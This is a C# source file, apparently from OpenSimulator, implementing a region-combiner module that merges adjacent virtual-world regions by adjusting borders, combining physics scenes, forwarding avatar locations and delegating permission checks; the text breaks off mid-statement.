/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections.Generic; using System.Reflection; using log4net; using Nini.Config; using OpenMetaverse; using OpenSim.Framework; using OpenSim.Framework.Client; using OpenSim.Region.Framework.Interfaces; using OpenSim.Region.Framework.Scenes; using OpenSim.Framework.Console; using OpenSim.Region.Physics.Manager; using Mono.Addins; [assembly: Addin("RegionCombinerModule", "0.1")] [assembly: AddinDependency("OpenSim", "0.5")] namespace OpenSim.Region.RegionCombinerModule { [Extension(Path = "/OpenSim/RegionModules", NodeName = "RegionModule")] public class RegionCombinerModule : ISharedRegionModule { private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); public string Name { get { return "RegionCombinerModule"; } } public Type ReplaceableInterface { get { return null; } } private Dictionary<UUID, RegionConnections> m_regions = new Dictionary<UUID, RegionConnections>(); private bool enabledYN = false; private Dictionary<UUID, Scene> m_startingScenes = new Dictionary<UUID, Scene>(); public void Initialise(IConfigSource source) { IConfig myConfig = source.Configs["Startup"]; enabledYN = myConfig.GetBoolean("CombineContiguousRegions", false); //enabledYN = true; if (enabledYN) MainConsole.Instance.Commands.AddCommand("RegionCombinerModule", false, "fix-phantoms", "Fix phantom objects", "Fixes phantom objects after an import to megaregions", FixPhantoms); } public void Close() { } public void AddRegion(Scene scene) { } public void RemoveRegion(Scene scene) { } public void RegionLoaded(Scene scene) { if (enabledYN) { RegionLoadedDoWork(scene); scene.EventManager.OnNewPresence += NewPresence; } } private void NewPresence(ScenePresence presence) { if (presence.IsChildAgent) { byte[] throttleData; try { throttleData = presence.ControllingClient.GetThrottlesPacked(1); } catch (NotImplementedException) { return; } if (throttleData == null) return; if (throttleData.Length == 0) return; if (throttleData.Length != 28) return; byte[] adjData; int pos = 0; if (!BitConverter.IsLittleEndian) { byte[] newData = new byte[7 * 4]; Buffer.BlockCopy(throttleData, 0, newData, 0, 7 * 4); for (int i = 0; i < 7; i++) Array.Reverse(newData, i * 4, 4); adjData = newData; } else { adjData = throttleData; } // 0.125f converts from bits to bytes int resend = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); pos += 4; int land = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); pos += 4; int wind = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); pos += 4; int cloud = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); pos += 4; int task = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); pos += 4; int texture = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); pos += 4; int asset = (int)(BitConverter.ToSingle(adjData, pos) * 0.125f); // State is a subcategory of task that we allocate a percentage to //int total = resend + land + wind + cloud + task + texture + asset; byte[] data = new byte[7 * 4]; int ii = 0; Buffer.BlockCopy(Utils.FloatToBytes(resend), 0, data, ii, 4); ii += 4; Buffer.BlockCopy(Utils.FloatToBytes(land * 50), 0, data, ii, 4); ii += 4; Buffer.BlockCopy(Utils.FloatToBytes(wind), 0, data, ii, 4); ii += 4; Buffer.BlockCopy(Utils.FloatToBytes(cloud), 0, data, ii, 4); ii += 4; Buffer.BlockCopy(Utils.FloatToBytes(task), 0, data, ii, 4); ii += 4; Buffer.BlockCopy(Utils.FloatToBytes(texture), 0, data, ii, 4); ii += 4; Buffer.BlockCopy(Utils.FloatToBytes(asset), 0, data, ii, 4); try { presence.ControllingClient.SetChildAgentThrottle(data); } catch (NotImplementedException) { return; } } } private void RegionLoadedDoWork(Scene scene) { /* // For testing on a single instance if (scene.RegionInfo.RegionLocX == 1004 && scene.RegionInfo.RegionLocY == 1000) return; // */ lock (m_startingScenes) m_startingScenes.Add(scene.RegionInfo.originRegionID, scene); // Give each region a standard set of non-infinite borders Border northBorder = new Border(); northBorder.BorderLine = new Vector3(0, (int)Constants.RegionSize, (int)Constants.RegionSize); //<--- northBorder.CrossDirection = Cardinals.N; scene.NorthBorders[0] = northBorder; Border southBorder = new Border(); southBorder.BorderLine = new Vector3(0, (int)Constants.RegionSize, 0); //---> southBorder.CrossDirection = Cardinals.S; scene.SouthBorders[0] = southBorder; Border eastBorder = new Border(); eastBorder.BorderLine = new Vector3(0, (int)Constants.RegionSize, (int)Constants.RegionSize); //<--- eastBorder.CrossDirection = Cardinals.E; scene.EastBorders[0] = eastBorder; Border westBorder = new Border(); westBorder.BorderLine = new Vector3(0, (int)Constants.RegionSize, 0); //---> westBorder.CrossDirection = Cardinals.W; scene.WestBorders[0] = westBorder; RegionConnections regionConnections = new RegionConnections(); regionConnections.ConnectedRegions = new List<RegionData>(); regionConnections.RegionScene = scene; regionConnections.RegionLandChannel = scene.LandChannel; regionConnections.RegionId = scene.RegionInfo.originRegionID; regionConnections.X = scene.RegionInfo.RegionLocX; regionConnections.Y = scene.RegionInfo.RegionLocY; regionConnections.XEnd = (int)Constants.RegionSize; regionConnections.YEnd = (int)Constants.RegionSize; lock (m_regions) { bool connectedYN = false; foreach (RegionConnections conn in m_regions.Values) { #region commented /* // If we're one region over +x +y //xxy //xxx //xxx if ((((int)conn.X * (int)Constants.RegionSize) + conn.XEnd == (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) - conn.YEnd == (regionConnections.Y * (int)Constants.RegionSize))) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int) Constants.RegionSize)) - ((conn.X * (int) Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int) Constants.RegionSize)) - ((conn.Y * (int) Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd + conn.YEnd; extents.X = conn.XEnd + conn.XEnd; m_log.DebugFormat("Scene: {0} to the northwest of Scene{1}. Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, extents); connectedYN = true; break; } */ /* //If we're one region over x +y //xxx //xxx //xyx if ((((int)conn.X * (int)Constants.RegionSize) == (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) - conn.YEnd == (regionConnections.Y * (int)Constants.RegionSize))) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd + conn.YEnd; extents.X = conn.XEnd; m_log.DebugFormat("Scene: {0} to the north of Scene{1}. Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, extents); connectedYN = true; break; } */ /* // If we're one region over -x +y //xxx //xxx //yxx if ((((int)conn.X * (int)Constants.RegionSize) - conn.XEnd == (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) - conn.YEnd == (regionConnections.Y * (int)Constants.RegionSize))) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd + conn.YEnd; extents.X = conn.XEnd + conn.XEnd; m_log.DebugFormat("Scene: {0} to the northeast of Scene. Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, extents); connectedYN = true; break; } */ /* // If we're one region over -x y //xxx //yxx //xxx if ((((int)conn.X * (int)Constants.RegionSize) - conn.XEnd == (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) == (regionConnections.Y * (int)Constants.RegionSize))) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd; extents.X = conn.XEnd + conn.XEnd; m_log.DebugFormat("Scene: {0} to the east of Scene{1} Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, extents); connectedYN = true; break; } */ /* // If we're one region over -x -y //yxx //xxx //xxx if ((((int)conn.X * (int)Constants.RegionSize) - conn.XEnd == (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) + conn.YEnd == (regionConnections.Y * (int)Constants.RegionSize))) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd + conn.YEnd; extents.X = conn.XEnd + conn.XEnd; m_log.DebugFormat("Scene: {0} to the northeast of Scene{1} Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, extents); connectedYN = true; break; } */ #endregion // If we're one region over +x y //xxx //xxy //xxx if ((((int)conn.X * (int)Constants.RegionSize) + conn.XEnd >= (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) >= (regionConnections.Y * (int)Constants.RegionSize))) { connectedYN = DoWorkForOneRegionOverPlusXY(conn, regionConnections, scene); break; } // If we're one region over x +y //xyx //xxx //xxx if ((((int)conn.X * (int)Constants.RegionSize) >= (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) + conn.YEnd >= (regionConnections.Y * (int)Constants.RegionSize))) { connectedYN = DoWorkForOneRegionOverXPlusY(conn, regionConnections, scene); break; } // If we're one region over +x +y //xxy //xxx //xxx if ((((int)conn.X * (int)Constants.RegionSize) + conn.YEnd >= (regionConnections.X * (int)Constants.RegionSize)) && (((int)conn.Y * (int)Constants.RegionSize) + conn.YEnd >= (regionConnections.Y * (int)Constants.RegionSize))) { connectedYN = DoWorkForOneRegionOverPlusXPlusY(conn, regionConnections, scene); break; } } // If !connectYN means that this region is a root region if (!connectedYN) { DoWorkForRootRegion(regionConnections, scene); } } // Set up infinite borders around the entire AABB of the combined ConnectedRegions AdjustLargeRegionBounds(); } private bool DoWorkForOneRegionOverPlusXY(RegionConnections conn, RegionConnections regionConnections, Scene scene) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = conn.YEnd; extents.X = conn.XEnd + regionConnections.XEnd; conn.UpdateExtents(extents); m_log.DebugFormat("Scene: {0} to the west of Scene{1} Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); scene.BordersLocked = true; conn.RegionScene.BordersLocked = true; RegionData ConnectedRegion = new RegionData(); ConnectedRegion.Offset = offset; ConnectedRegion.RegionId = scene.RegionInfo.originRegionID; ConnectedRegion.RegionScene = scene; conn.ConnectedRegions.Add(ConnectedRegion); // Inform root region Physics about the extents of this region conn.RegionScene.PhysicsScene.Combine(null, Vector3.Zero, extents); // Inform Child region that it needs to forward it's terrain to the root region scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, Vector3.Zero); // Extend the borders as appropriate lock (conn.RegionScene.EastBorders) conn.RegionScene.EastBorders[0].BorderLine.Z += (int)Constants.RegionSize; lock (conn.RegionScene.NorthBorders) conn.RegionScene.NorthBorders[0].BorderLine.Y += (int)Constants.RegionSize; lock (conn.RegionScene.SouthBorders) conn.RegionScene.SouthBorders[0].BorderLine.Y += (int)Constants.RegionSize; lock (scene.WestBorders) { scene.WestBorders[0].BorderLine.Z = (int)((scene.RegionInfo.RegionLocX - conn.RegionScene.RegionInfo.RegionLocX) * (int)Constants.RegionSize); //auto teleport West // Trigger auto teleport to root region scene.WestBorders[0].TriggerRegionX = conn.RegionScene.RegionInfo.RegionLocX; scene.WestBorders[0].TriggerRegionY = conn.RegionScene.RegionInfo.RegionLocY; } // Reset Terrain.. since terrain loads before we get here, we need to load // it again so it loads in the root region scene.PhysicsScene.SetTerrain(scene.Heightmap.GetFloatsSerialised()); // Unlock borders conn.RegionScene.BordersLocked = false; scene.BordersLocked = false; // Create a client event forwarder and add this region's events to the root region. if (conn.ClientEventForwarder != null) conn.ClientEventForwarder.AddSceneToEventForwarding(scene); return true; } private bool DoWorkForOneRegionOverXPlusY(RegionConnections conn, RegionConnections regionConnections, Scene scene) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd + conn.YEnd; extents.X = conn.XEnd; conn.UpdateExtents(extents); scene.BordersLocked = true; conn.RegionScene.BordersLocked = true; RegionData ConnectedRegion = new RegionData(); ConnectedRegion.Offset = offset; ConnectedRegion.RegionId = scene.RegionInfo.originRegionID; ConnectedRegion.RegionScene = scene; conn.ConnectedRegions.Add(ConnectedRegion); m_log.DebugFormat("Scene: {0} to the northeast of Scene{1} Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); conn.RegionScene.PhysicsScene.Combine(null, Vector3.Zero, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, Vector3.Zero); lock (conn.RegionScene.NorthBorders) conn.RegionScene.NorthBorders[0].BorderLine.Z += (int)Constants.RegionSize; lock (conn.RegionScene.EastBorders) conn.RegionScene.EastBorders[0].BorderLine.Y += (int)Constants.RegionSize; lock (conn.RegionScene.WestBorders) conn.RegionScene.WestBorders[0].BorderLine.Y += (int)Constants.RegionSize; lock (scene.SouthBorders) { scene.SouthBorders[0].BorderLine.Z = (int)((scene.RegionInfo.RegionLocY - conn.RegionScene.RegionInfo.RegionLocY) * (int)Constants.RegionSize); //auto teleport south scene.SouthBorders[0].TriggerRegionX = conn.RegionScene.RegionInfo.RegionLocX; scene.SouthBorders[0].TriggerRegionY = conn.RegionScene.RegionInfo.RegionLocY; } // Reset Terrain.. since terrain normally loads first. //conn.RegionScene.PhysicsScene.SetTerrain(conn.RegionScene.Heightmap.GetFloatsSerialised()); scene.PhysicsScene.SetTerrain(scene.Heightmap.GetFloatsSerialised()); //conn.RegionScene.PhysicsScene.SetTerrain(conn.RegionScene.Heightmap.GetFloatsSerialised()); scene.BordersLocked = false; conn.RegionScene.BordersLocked = false; if (conn.ClientEventForwarder != null) conn.ClientEventForwarder.AddSceneToEventForwarding(scene); return true; } private bool DoWorkForOneRegionOverPlusXPlusY(RegionConnections conn, RegionConnections regionConnections, Scene scene) { Vector3 offset = Vector3.Zero; offset.X = (((regionConnections.X * (int)Constants.RegionSize)) - ((conn.X * (int)Constants.RegionSize))); offset.Y = (((regionConnections.Y * (int)Constants.RegionSize)) - ((conn.Y * (int)Constants.RegionSize))); Vector3 extents = Vector3.Zero; extents.Y = regionConnections.YEnd + conn.YEnd; extents.X = regionConnections.XEnd + conn.XEnd; conn.UpdateExtents(extents); scene.BordersLocked = true; conn.RegionScene.BordersLocked = true; RegionData ConnectedRegion = new RegionData(); ConnectedRegion.Offset = offset; ConnectedRegion.RegionId = scene.RegionInfo.originRegionID; ConnectedRegion.RegionScene = scene; conn.ConnectedRegions.Add(ConnectedRegion); m_log.DebugFormat("Scene: {0} to the NorthEast of Scene{1} Offset: {2}. Extents:{3}", conn.RegionScene.RegionInfo.RegionName, regionConnections.RegionScene.RegionInfo.RegionName, offset, extents); conn.RegionScene.PhysicsScene.Combine(null, Vector3.Zero, extents); scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset, Vector3.Zero); lock (conn.RegionScene.NorthBorders) { if (conn.RegionScene.NorthBorders.Count == 1)// && 2) { //compound border // already locked above conn.RegionScene.NorthBorders[0].BorderLine.Z += (int)Constants.RegionSize; lock (conn.RegionScene.EastBorders) conn.RegionScene.EastBorders[0].BorderLine.Y += (int)Constants.RegionSize; lock (conn.RegionScene.WestBorders) conn.RegionScene.WestBorders[0].BorderLine.Y += (int)Constants.RegionSize; } } lock (scene.SouthBorders) { scene.SouthBorders[0].BorderLine.Z = (int)((scene.RegionInfo.RegionLocY - conn.RegionScene.RegionInfo.RegionLocY) * (int)Constants.RegionSize); //auto teleport south scene.SouthBorders[0].TriggerRegionX = conn.RegionScene.RegionInfo.RegionLocX; scene.SouthBorders[0].TriggerRegionY = conn.RegionScene.RegionInfo.RegionLocY; } lock (conn.RegionScene.EastBorders) { if (conn.RegionScene.EastBorders.Count == 1)// && conn.RegionScene.EastBorders.Count == 2) { conn.RegionScene.EastBorders[0].BorderLine.Z += (int)Constants.RegionSize; lock (conn.RegionScene.NorthBorders) conn.RegionScene.NorthBorders[0].BorderLine.Y += (int)Constants.RegionSize; lock (conn.RegionScene.SouthBorders) conn.RegionScene.SouthBorders[0].BorderLine.Y += (int)Constants.RegionSize; } } lock (scene.WestBorders) { scene.WestBorders[0].BorderLine.Z = (int)((scene.RegionInfo.RegionLocX - conn.RegionScene.RegionInfo.RegionLocX) * (int)Constants.RegionSize); //auto teleport West scene.WestBorders[0].TriggerRegionX = conn.RegionScene.RegionInfo.RegionLocX; scene.WestBorders[0].TriggerRegionY = conn.RegionScene.RegionInfo.RegionLocY; } /* else { conn.RegionScene.NorthBorders[0].BorderLine.Z += (int)Constants.RegionSize; conn.RegionScene.EastBorders[0].BorderLine.Y += (int)Constants.RegionSize; conn.RegionScene.WestBorders[0].BorderLine.Y += (int)Constants.RegionSize; scene.SouthBorders[0].BorderLine.Z += (int)Constants.RegionSize; //auto teleport south } */ // Reset Terrain.. since terrain normally loads first. //conn.RegionScene.PhysicsScene.SetTerrain(conn.RegionScene.Heightmap.GetFloatsSerialised()); scene.PhysicsScene.SetTerrain(scene.Heightmap.GetFloatsSerialised()); //conn.RegionScene.PhysicsScene.SetTerrain(conn.RegionScene.Heightmap.GetFloatsSerialised()); scene.BordersLocked = false; conn.RegionScene.BordersLocked = false; if (conn.ClientEventForwarder != null) conn.ClientEventForwarder.AddSceneToEventForwarding(scene); return true; //scene.PhysicsScene.Combine(conn.RegionScene.PhysicsScene, offset,extents); } private void DoWorkForRootRegion(RegionConnections regionConnections, Scene scene) { RegionData rdata = new RegionData(); rdata.Offset = Vector3.Zero; rdata.RegionId = scene.RegionInfo.originRegionID; rdata.RegionScene = scene; // save it's land channel regionConnections.RegionLandChannel = scene.LandChannel; // Substitue our landchannel RegionCombinerLargeLandChannel lnd = new RegionCombinerLargeLandChannel(rdata, scene.LandChannel, regionConnections.ConnectedRegions); scene.LandChannel = lnd; // Forward the permissions modules of each of the connected regions to the root region lock (m_regions) { foreach (RegionData r in regionConnections.ConnectedRegions) { ForwardPermissionRequests(regionConnections, r.RegionScene); } } // Create the root region's Client Event Forwarder regionConnections.ClientEventForwarder = new RegionCombinerClientEventForwarder(regionConnections); // Sets up the CoarseLocationUpdate forwarder for this root region scene.EventManager.OnNewPresence += SetCourseLocationDelegate; // Adds this root region to a dictionary of regions that are connectable m_regions.Add(scene.RegionInfo.originRegionID, regionConnections); } private void SetCourseLocationDelegate(ScenePresence presence) { presence.SetSendCourseLocationMethod(SendCourseLocationUpdates); } private void SendCourseLocationUpdates(UUID sceneId, ScenePresence presence) { RegionConnections connectiondata = null; lock (m_regions) { if (m_regions.ContainsKey(sceneId)) connectiondata = m_regions[sceneId]; else return; } List<Vector3> CoarseLocations = new List<Vector3>(); List<UUID> AvatarUUIDs = new List<UUID>(); connectiondata.RegionScene.ForEachScenePresence(delegate(ScenePresence sp) { if (sp.IsChildAgent) return; if (sp.UUID != presence.UUID) { if (sp.ParentID != 0) { // sitting avatar SceneObjectPart sop = connectiondata.RegionScene.GetSceneObjectPart(sp.ParentID); if (sop != null) { CoarseLocations.Add(sop.AbsolutePosition + sp.AbsolutePosition); AvatarUUIDs.Add(sp.UUID); } else { // we can't find the parent.. ! arg! CoarseLocations.Add(sp.AbsolutePosition); AvatarUUIDs.Add(sp.UUID); } } else { CoarseLocations.Add(sp.AbsolutePosition); AvatarUUIDs.Add(sp.UUID); } } }); DistributeCourseLocationUpdates(CoarseLocations, AvatarUUIDs, connectiondata, presence); } private void DistributeCourseLocationUpdates(List<Vector3> locations, List<UUID> uuids, RegionConnections connectiondata, ScenePresence rootPresence) { RegionData[] rdata = connectiondata.ConnectedRegions.ToArray(); //List<IClientAPI> clients = new List<IClientAPI>(); Dictionary<Vector2, RegionCourseLocationStruct> updates = new Dictionary<Vector2, RegionCourseLocationStruct>(); // Root Region entry RegionCourseLocationStruct rootupdatedata = new RegionCourseLocationStruct(); rootupdatedata.Locations = new List<Vector3>(); rootupdatedata.Uuids = new List<UUID>(); rootupdatedata.Offset = Vector2.Zero; rootupdatedata.UserAPI = rootPresence.ControllingClient; if (rootupdatedata.UserAPI != null) updates.Add(Vector2.Zero, rootupdatedata); //Each Region needs an entry or we will end up with dead minimap dots foreach (RegionData regiondata in rdata) { Vector2 offset = new Vector2(regiondata.Offset.X, regiondata.Offset.Y); RegionCourseLocationStruct updatedata = new RegionCourseLocationStruct(); updatedata.Locations = new List<Vector3>(); updatedata.Uuids = new List<UUID>(); updatedata.Offset = offset; if (offset == Vector2.Zero) updatedata.UserAPI = rootPresence.ControllingClient; else updatedata.UserAPI = LocateUsersChildAgentIClientAPI(offset, rootPresence.UUID, rdata); if (updatedata.UserAPI != null) updates.Add(offset, updatedata); } // go over the locations and assign them to an IClientAPI for (int i = 0; i < locations.Count; i++) //{locations[i]/(int) Constants.RegionSize; { Vector3 pPosition = new Vector3((int)locations[i].X / (int)Constants.RegionSize, (int)locations[i].Y / (int)Constants.RegionSize, locations[i].Z); Vector2 offset = new Vector2(pPosition.X*(int) Constants.RegionSize, pPosition.Y*(int) Constants.RegionSize); if (!updates.ContainsKey(offset)) { // This shouldn't happen RegionCourseLocationStruct updatedata = new RegionCourseLocationStruct(); updatedata.Locations = new List<Vector3>(); updatedata.Uuids = new List<UUID>(); updatedata.Offset = offset; if (offset == Vector2.Zero) updatedata.UserAPI = rootPresence.ControllingClient; else updatedata.UserAPI = LocateUsersChildAgentIClientAPI(offset, rootPresence.UUID, rdata); updates.Add(offset,updatedata); } updates[offset].Locations.Add(locations[i]); updates[offset].Uuids.Add(uuids[i]); } // Send out the CoarseLocationupdates from their respective client connection based on where the avatar is foreach (Vector2 offset in updates.Keys) { if (updates[offset].UserAPI != null) { updates[offset].UserAPI.SendCoarseLocationUpdate(updates[offset].Uuids,updates[offset].Locations); } } } /// <summary> /// Locates a the Client of a particular region in an Array of RegionData based on offset /// </summary> /// <param name="offset"></param> /// <param name="uUID"></param> /// <param name="rdata"></param> /// <returns>IClientAPI or null</returns> private IClientAPI LocateUsersChildAgentIClientAPI(Vector2 offset, UUID uUID, RegionData[] rdata) { IClientAPI returnclient = null; foreach (RegionData r in rdata) { if (r.Offset.X == offset.X && r.Offset.Y == offset.Y) { return r.RegionScene.SceneGraph.GetControllingClient(uUID); } } return returnclient; } public void PostInitialise() { } /// <summary> /// TODO: /// </summary> /// <param name="rdata"></param> public void UnCombineRegion(RegionData rdata) { lock (m_regions) { if (m_regions.ContainsKey(rdata.RegionId)) { // uncombine root region and virtual regions } else { foreach (RegionConnections r in m_regions.Values) { foreach (RegionData rd in r.ConnectedRegions) { if (rd.RegionId == rdata.RegionId) { // uncombine virtual region } } } } } } // Create a set of infinite borders around the whole aabb of the combined island. private void AdjustLargeRegionBounds() { lock (m_regions) { foreach (RegionConnections rconn in m_regions.Values) { Vector3 offset = Vector3.Zero; rconn.RegionScene.BordersLocked = true; foreach (RegionData rdata in rconn.ConnectedRegions) { if (rdata.Offset.X > offset.X) offset.X = rdata.Offset.X; if (rdata.Offset.Y > offset.Y) offset.Y = rdata.Offset.Y; } lock (rconn.RegionScene.NorthBorders) { Border northBorder = null; // If we don't already have an infinite border, create one. if (!TryGetInfiniteBorder(rconn.RegionScene.NorthBorders, out northBorder)) { northBorder = new Border(); rconn.RegionScene.NorthBorders.Add(northBorder); } northBorder.BorderLine = new Vector3(float.MinValue, float.MaxValue, offset.Y + (int) Constants.RegionSize); //<--- northBorder.CrossDirection = Cardinals.N; } lock (rconn.RegionScene.SouthBorders) { Border southBorder = null; // If we don't already have an infinite border, create one. if (!TryGetInfiniteBorder(rconn.RegionScene.SouthBorders, out southBorder)) { southBorder = new Border(); rconn.RegionScene.SouthBorders.Add(southBorder); } southBorder.BorderLine = new Vector3(float.MinValue, float.MaxValue, 0); //---> southBorder.CrossDirection = Cardinals.S; } lock (rconn.RegionScene.EastBorders) { Border eastBorder = null; // If we don't already have an infinite border, create one. if (!TryGetInfiniteBorder(rconn.RegionScene.EastBorders, out eastBorder)) { eastBorder = new Border(); rconn.RegionScene.EastBorders.Add(eastBorder); } eastBorder.BorderLine = new Vector3(float.MinValue, float.MaxValue, offset.X + (int)Constants.RegionSize); //<--- eastBorder.CrossDirection = Cardinals.E; } lock (rconn.RegionScene.WestBorders) { Border westBorder = null; // If we don't already have an infinite border, create one. if (!TryGetInfiniteBorder(rconn.RegionScene.WestBorders, out westBorder)) { westBorder = new Border(); rconn.RegionScene.WestBorders.Add(westBorder); } westBorder.BorderLine = new Vector3(float.MinValue, float.MaxValue, 0); //---> westBorder.CrossDirection = Cardinals.W; } rconn.RegionScene.BordersLocked = false; } } } /// <summary> /// Try and get an Infinite border out of a listT of borders /// </summary> /// <param name="borders"></param> /// <param name="oborder"></param> /// <returns></returns> public static bool TryGetInfiniteBorder(List<Border> borders, out Border oborder) { // Warning! Should be locked before getting here! foreach (Border b in borders) { if (b.BorderLine.X == float.MinValue && b.BorderLine.Y == float.MaxValue) { oborder = b; return true; } } oborder = null; return false; } public RegionData GetRegionFromPosition(Vector3 pPosition) { pPosition = pPosition/(int) Constants.RegionSize; int OffsetX = (int) pPosition.X; int OffsetY = (int) pPosition.Y; foreach (RegionConnections regConn in m_regions.Values) { foreach (RegionData reg in regConn.ConnectedRegions) { if (reg.Offset.X == OffsetX && reg.Offset.Y == OffsetY) return reg; } } return new RegionData(); } public void ForwardPermissionRequests(RegionConnections BigRegion, Scene VirtualRegion) { if (BigRegion.PermissionModule == null) BigRegion.PermissionModule = new RegionCombinerPermissionModule(BigRegion.RegionScene); VirtualRegion.Permissions.OnBypassPermissions += BigRegion.PermissionModule.BypassPermissions; VirtualRegion.Permissions.OnSetBypassPermissions += BigRegion.PermissionModule.SetBypassPermissions; VirtualRegion.Permissions.OnPropagatePermissions += BigRegion.PermissionModule.PropagatePermissions; VirtualRegion.Permissions.OnGenerateClientFlags += BigRegion.PermissionModule.GenerateClientFlags; VirtualRegion.Permissions.OnAbandonParcel += BigRegion.PermissionModule.CanAbandonParcel; VirtualRegion.Permissions.OnReclaimParcel += BigRegion.PermissionModule.CanReclaimParcel; VirtualRegion.Permissions.OnDeedParcel += BigRegion.PermissionModule.CanDeedParcel; VirtualRegion.Permissions.OnDeedObject += BigRegion.PermissionModule.CanDeedObject; VirtualRegion.Permissions.OnIsGod += BigRegion.PermissionModule.IsGod; VirtualRegion.Permissions.OnDuplicateObject += BigRegion.PermissionModule.CanDuplicateObject; VirtualRegion.Permissions.OnDeleteObject += BigRegion.PermissionModule.CanDeleteObject; //MAYBE FULLY IMPLEMENTED VirtualRegion.Permissions.OnEditObject += BigRegion.PermissionModule.CanEditObject; //MAYBE FULLY IMPLEMENTED VirtualRegion.Permissions.OnEditParcel += 